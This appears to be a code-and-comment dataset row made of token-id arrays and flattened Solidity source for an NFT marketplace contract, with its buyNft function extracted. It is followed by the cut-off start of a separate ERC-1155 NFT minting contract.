261,
2867,
13,
288,
203,
3639,
327,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
9606,
1338,
5541,
1435,
288,
203,
3639,
2583,
12,
291,
5541,
9334,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
445,
353,
5541,
1435,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1234,
18,
15330,
422,
389,
8443,
31,
203,
565,
289,
203,
203,
565,
445,
1654,
8386,
5460,
12565,
1435,
1071,
1338,
5541,
288,
203,
3639,
3626,
14223,
9646,
5310,
1429,
4193,
24899,
8443,
16,
1758,
12,
20,
10019,
203,
3639,
389,
8443,
273,
1758,
12,
20,
1769,
203,
565,
289,
203,
203,
565,
445,
7412,
5460,
12565,
12,
2867,
394,
5541,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
13866,
5460,
12565,
12,
2704,
5541,
1769,
203,
565,
289,
203,
203,
565,
445,
389,
13866,
5460,
12565,
12,
2867,
394,
5541,
13,
2713,
288,
203,
3639,
2583,
12,
2704,
5541,
480,
1758,
12,
20,
3631,
315,
5460,
429,
30,
394,
3410,
353,
326,
3634,
1758,
2
]
|
/**
*Submitted for verification at Etherscan.io on 2021-11-17
*/
// File: contracts/interfaces/IHistoryV1Market.sol
pragma solidity ^0.8.0;
interface IHistoryV1Market{
/// @notice emit when sale info is reset.
event SaleInfoChangedEvt(address indexed token, uint256 indexed tokenId, uint256 price);
/// @notice emit when sale info is reset.
event NFTSoldEvt(address indexed token, uint256 indexed tokenId, uint256 price);
/// @notice query sale info of specified token.
function tokenSaleInfo(
address token,
uint256 tokenId
) external view returns(bool onSale, uint256 price);
/// @notice sell a nft.
function sellNft(address token, uint256 tokenId, uint256 price) external;
/// @notice buy a nft.
function buyNft(address token, uint256 tokenId, address to) external payable;
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/interfaces/IFeeCollectable.sol
pragma solidity ^0.8.0;
interface IFeeCollectable {
/// @notice emitted when set new fee to address.
event FeeToChangedEvt(address newFeeTo);
/// @notice emitted when fee is paid to fee to address.
event FeeWithdrawedEvt(address feeTo, uint amount);
/// @notice set fee to address.
function setFeeTo(address _feeTo) external;
/// @notice transfer all fee to address feeTo.
function refund() external;
}
// File: @openzeppelin/contracts/utils/math/SafeCast.sol
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: contracts/libraries/TransferHelper.sol
pragma solidity >=0.6.0;
library TransferHelper {
/// @notice Transfers tokens from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param value The amount to be transferred
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers NFT from the targeted address to the given destination
/// @notice Errors with 'STF' if transfer fails
/// @param token The contract address of the token to be transferred
/// @param from The originating address from which the tokens will be transferred
/// @param to The destination address of the transfer
/// @param tokenId the id of the token need to be transfered
function safeTransferNFTFrom(
address token,
address from,
address to,
uint256 tokenId
) internal {
(bool success, bytes memory data) =
token.call(abi.encodeWithSelector(IERC721.transferFrom.selector, from, to, tokenId));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF');
}
/// @notice Transfers tokens from msg.sender to a recipient
/// @dev Errors with ST if transfer fails
/// @param token The contract address of the token which will be transferred
/// @param to The recipient of the transfer
/// @param value The value of the transfer
function safeTransfer(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST');
}
/// @notice Approves the stipulated contract to spend the given allowance in the given token
/// @dev Errors with 'SA' if transfer fails
/// @param token The contract address of the token to be approved
/// @param to The target of the approval
/// @param value The amount of the given token the target will be allowed to spend
function safeApprove(
address token,
address to,
uint256 value
) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA');
}
/// @notice Transfers ETH to the recipient address
/// @dev Fails with `STE`
/// @param to The destination of the transfer
/// @param value The value to be transferred
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'STE');
}
}
// File: contracts/FeeCollectable.sol
pragma solidity ^0.8.0;
contract FeeCollectable is Ownable, IFeeCollectable{
address public feeTo;
/// @inheritdoc IFeeCollectable
function setFeeTo(address _feeTo) onlyOwner external override{
feeTo = _feeTo;
emit FeeToChangedEvt(_feeTo);
}
/// @inheritdoc IFeeCollectable
function refund() external override{
uint amount = address(this).balance;
TransferHelper.safeTransferETH(feeTo, amount);
emit FeeWithdrawedEvt(feeTo, amount);
}
}
// File: contracts/HistoryV1Market.sol
pragma solidity ^0.8.0;
contract HistoryV1Market is IHistoryV1Market, FeeCollectable{
using SafeCast for uint256;
struct SaleInfo{
uint256 tokenId;
address owner; // 160
uint96 price;
}
mapping(bytes32 => SaleInfo) private saleInfo;
/// @inheritdoc IHistoryV1Market
function sellNft(address token, uint256 tokenId, uint256 price) external override{
require(price >= 0, "Invalid price");
require(IERC721(token).ownerOf(tokenId) == msg.sender, "Not owner");
require(
IERC721(token).getApproved(tokenId) == address(this) ||
IERC721(token).isApprovedForAll(msg.sender, address(this)),
"Approve first."
);
SaleInfo storage info = saleInfo[keccak256(abi.encodePacked(token,tokenId))];
(info.tokenId, info.owner, info.price) = (tokenId, msg.sender, price.toUint96());
emit SaleInfoChangedEvt(token, tokenId, price);
}
/// @inheritdoc IHistoryV1Market
function buyNft(address token, uint256 tokenId, address to) external payable override {
SaleInfo storage info = saleInfo[keccak256(abi.encodePacked(token,tokenId))];
SaleInfo memory _info = info;
require(msg.value >= _info.price, "Value not enough.");
require(_info.price > 0, "Not on sale.");
// transfer nft
TransferHelper.safeTransferNFTFrom(token, _info.owner, to, tokenId);
// pay eth
TransferHelper.safeTransferETH(_info.owner, _info.price);
// update value
(info.owner, info.price) = (to ,0);
emit SaleInfoChangedEvt(token, tokenId, 0);
emit NFTSoldEvt(token, tokenId, _info.price);
}
/// @inheritdoc IHistoryV1Market
function tokenSaleInfo(
address token,
uint256 tokenId
) external override view returns(bool onSale, uint256 price){
SaleInfo memory info = saleInfo[keccak256(abi.encodePacked(token,tokenId))];
if(
// Check still on sale
info.price > 0 &&
// check owner is still correct
IERC721(token).ownerOf(tokenId) == info.owner &&
(
// Check approve
IERC721(token).getApproved(tokenId) == address(this) ||
IERC721(token).isApprovedForAll(info.owner, address(this))
)
){
return (true, info.price);
}
else{
return (false, 0);
}
}
} | @inheritdoc IHistoryV1Market transfer nft pay eth update value | function buyNft(address token, uint256 tokenId, address to) external payable override {
SaleInfo storage info = saleInfo[keccak256(abi.encodePacked(token,tokenId))];
SaleInfo memory _info = info;
require(msg.value >= _info.price, "Value not enough.");
require(_info.price > 0, "Not on sale.");
TransferHelper.safeTransferNFTFrom(token, _info.owner, to, tokenId);
TransferHelper.safeTransferETH(_info.owner, _info.price);
(info.owner, info.price) = (to ,0);
emit SaleInfoChangedEvt(token, tokenId, 0);
emit NFTSoldEvt(token, tokenId, _info.price);
}
| 6,612,438 | [
1,
36,
10093,
467,
5623,
58,
21,
3882,
278,
7412,
290,
1222,
8843,
13750,
1089,
460,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
30143,
50,
1222,
12,
2867,
1147,
16,
2254,
5034,
1147,
548,
16,
1758,
358,
13,
3903,
8843,
429,
3849,
288,
203,
3639,
348,
5349,
966,
2502,
1123,
273,
272,
5349,
966,
63,
79,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
2316,
16,
2316,
548,
3719,
15533,
203,
3639,
348,
5349,
966,
3778,
389,
1376,
273,
1123,
31,
203,
3639,
2583,
12,
3576,
18,
1132,
1545,
389,
1376,
18,
8694,
16,
315,
620,
486,
7304,
1199,
1769,
203,
3639,
2583,
24899,
1376,
18,
8694,
405,
374,
16,
315,
1248,
603,
272,
5349,
1199,
1769,
203,
3639,
12279,
2276,
18,
4626,
5912,
50,
4464,
1265,
12,
2316,
16,
389,
1376,
18,
8443,
16,
358,
16,
1147,
548,
1769,
203,
3639,
12279,
2276,
18,
4626,
5912,
1584,
44,
24899,
1376,
18,
8443,
16,
389,
1376,
18,
8694,
1769,
203,
3639,
261,
1376,
18,
8443,
16,
1123,
18,
8694,
13,
273,
261,
869,
269,
20,
1769,
203,
3639,
3626,
348,
5349,
966,
5033,
30990,
12,
2316,
16,
1147,
548,
16,
374,
1769,
203,
3639,
3626,
423,
4464,
55,
1673,
30990,
12,
2316,
16,
1147,
548,
16,
389,
1376,
18,
8694,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
/*
___ _ _
/ _ \ _ __ (_)__ __ __ _ | |_ ___
/ /_)/| '__|| |\ \ / // _` || __|/ _ \
/ ___/ | | | | \ V /| (_| || |_| __/
\/ |_| |_| \_/_ \__,_| \__|\___|
/\/\ ___ _ __ ___ | |__ ___ _ __ ___
/ \ / _ \| '_ ` _ \ | '_ \ / _ \| '__|/ __|
/ /\/\ \| __/| | | | | || |_) || __/| | \__ \
\/ \/ \___||_| |_| |_||_.__/ \___||_| |___/
___ _
/ __\_ __ _ _ _ __ | |_ ___
/ / | '__|| | | || '_ \ | __|/ _ \
/ /___| | | |_| || |_) || |_| (_) |
\____/|_| \__, || .__/ \__|\___/
___ _|___/ |_|_
/ __\| | _ _ | |__
/ / | || | | || '_ \
/ /___ | || |_| || |_) |
\____/ |_| \__,_||_.__/
Crypto Club Global https://cc-gbl.io/
*/
pragma solidity 0.8.2;
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/// @custom:security-contact [email protected]
/// @title Crypto Club London NFT tokens
/// @notice Modified ERC-1155 contract to function more as an ERC721 but with improved efficient minting capabilities
contract PMCC1155 is Context, ERC165, IERC2981, IERC1155, IERC1155MetadataURI, ReentrancyGuard, Ownable, Pausable {
using Counters for Counters.Counter;
using Address for address;
/// @dev Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
/// @dev Mapping from accounts to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/// @dev Mapping from accounts to whitelist totals
mapping(address => uint256) private _whiteListTotals;
/// @dev Used as the URI for all token types by relying on ID substitution
string private _uri;
/// @dev Make NFT tokens enumerable
Counters.Counter private _tokenIdCounter;
/// @dev Cap supply
uint256 maxSupply = 5000;
/**
@dev Initially 5% royalty is expected, but can be changed with setRoyaltyFee(uint256 fee). Specified out of 10 000;
this is converted to a percentage, but is set to 10 000 for improved accuracy for decimal places as Solidity does
not handle floats.
*/
uint256 private _royaltyFee = 500;
/// @dev royalty to be paid to specific address
address private _royaltyReceiver;
/// @dev initial token prices
uint256 _diamondPrice = 400000000000000000;
uint256 _platinumPrice = 480000000000000000;
/// @dev sale stage variable: 0 - founder, 1 - whitelist, 2 - public; starts at 0
uint256 _stage = 0;
constructor(string memory base_) {
_setURI(base_);
setRoyaltyReceiver(owner());
}
/// @dev Function to set the base URI
function setURI(string calldata newuri) public onlyOwner {
_setURI(newuri);
}
/// @notice Public function to retrieve the contract description for OpenSea
function contractURI() public view returns (string memory) {
return string(abi.encodePacked(_uri, "contract.json"));
}
/// @notice Public functions to get the total supply
function totalSupply() public view returns (uint256) {
uint256 tokenId = _tokenIdCounter.current();
return tokenId;
}
/// @dev Function to pause all transfers
function pause() public onlyOwner {
_pause();
}
/// @dev Function to allow all transfers
function unpause() public onlyOwner {
_unpause();
}
/** @dev Function to add list of addresses to whiteList
each address is mapped to the number of tokens it is allowed to
mint, which is initially a maximum of 3.
*/
function addToWhitelist(address[] calldata addressList) public onlyOwner {
for (uint256 i = 0; i < addressList.length; i++) {
_whiteListTotals[addressList[i]] = 3;
}
}
/// @notice Function to check if an address is on the whitelist
function checkOnWhitelist(address candidate_) public view returns (uint256) {
return _whiteListTotals[candidate_];
}
/// @notice Mints multiple tokens at the same time provided price, sale, and supply cap are acceptable
function mintBatch(
address to,
uint256 number,
bytes memory data
) external payable nonReentrant whenNotPaused {
// uint256 stage = _stage;
uint256 currentTokenId = _tokenIdCounter.current();
require((number > 0), "PMCC: must mint at least one token");
require(((number + currentTokenId) <= maxSupply), "PMCC: request exceeds maxSupply");
if (msg.sender != owner()) {
require((_stage > 0), "PMCC: public minting not yet open");
require((number <= 3), "PMCC: minting limited to maximum 3 tokens");
require(msg.value == getMintingPrice(number), "PMCC: price must be equal to current getMintingPrice");
if (_stage == 1) {
// revert if we are in whitelist period and minter is not on the whitelist and is not owner
require((_whiteListTotals[msg.sender] >= number), "PMCC: sender has insufficient whitelist allowance");
_whiteListTotals[msg.sender] = _whiteListTotals[msg.sender] - number;
}
}
uint256[] memory ids = new uint256[](number);
uint256[] memory amount = new uint256[](number);
for (uint256 i = 0; i < number; i++) {
_tokenIdCounter.increment();
ids[i] = _tokenIdCounter.current();
amount[i] = 0x00000000000000000000000000000001;
}
_mintBatch(to, ids, amount, data);
}
/// @dev Allows owner to trigger withdrawal of contract funds to the royalty address
function withdraw() public whenNotPaused {
uint256 balance = address(this).balance;
require((balance > 0), "PMCC: no balance to withdraw");
Address.sendValue(payable(_royaltyReceiver), balance);
}
/// @notice Returns cost of minting a token, which is based on the tokenId range
function getMintingPrice(uint256 amount) public view returns (uint256) {
// we want the price of the next token, so add 1
uint256 tokenId = _tokenIdCounter.current() + 1;
uint256 _price;
if (tokenId < 301) {
_price = 0;
} else if (tokenId < 1301) {
_price = _diamondPrice;
} else {
_price = _platinumPrice;
}
// if minting accross the diamond/platinum threshold the minter gets a bargain
return _price * amount;
}
// Sets new prices for minting diamond and platinum tokens
function setMintingPrice(uint256 diamond_, uint256 platinum_) public virtual onlyOwner {
_diamondPrice = diamond_;
_platinumPrice = platinum_;
}
/// @dev Sets the current sale stage
function setSaleStage(uint256 stage_) public virtual onlyOwner {
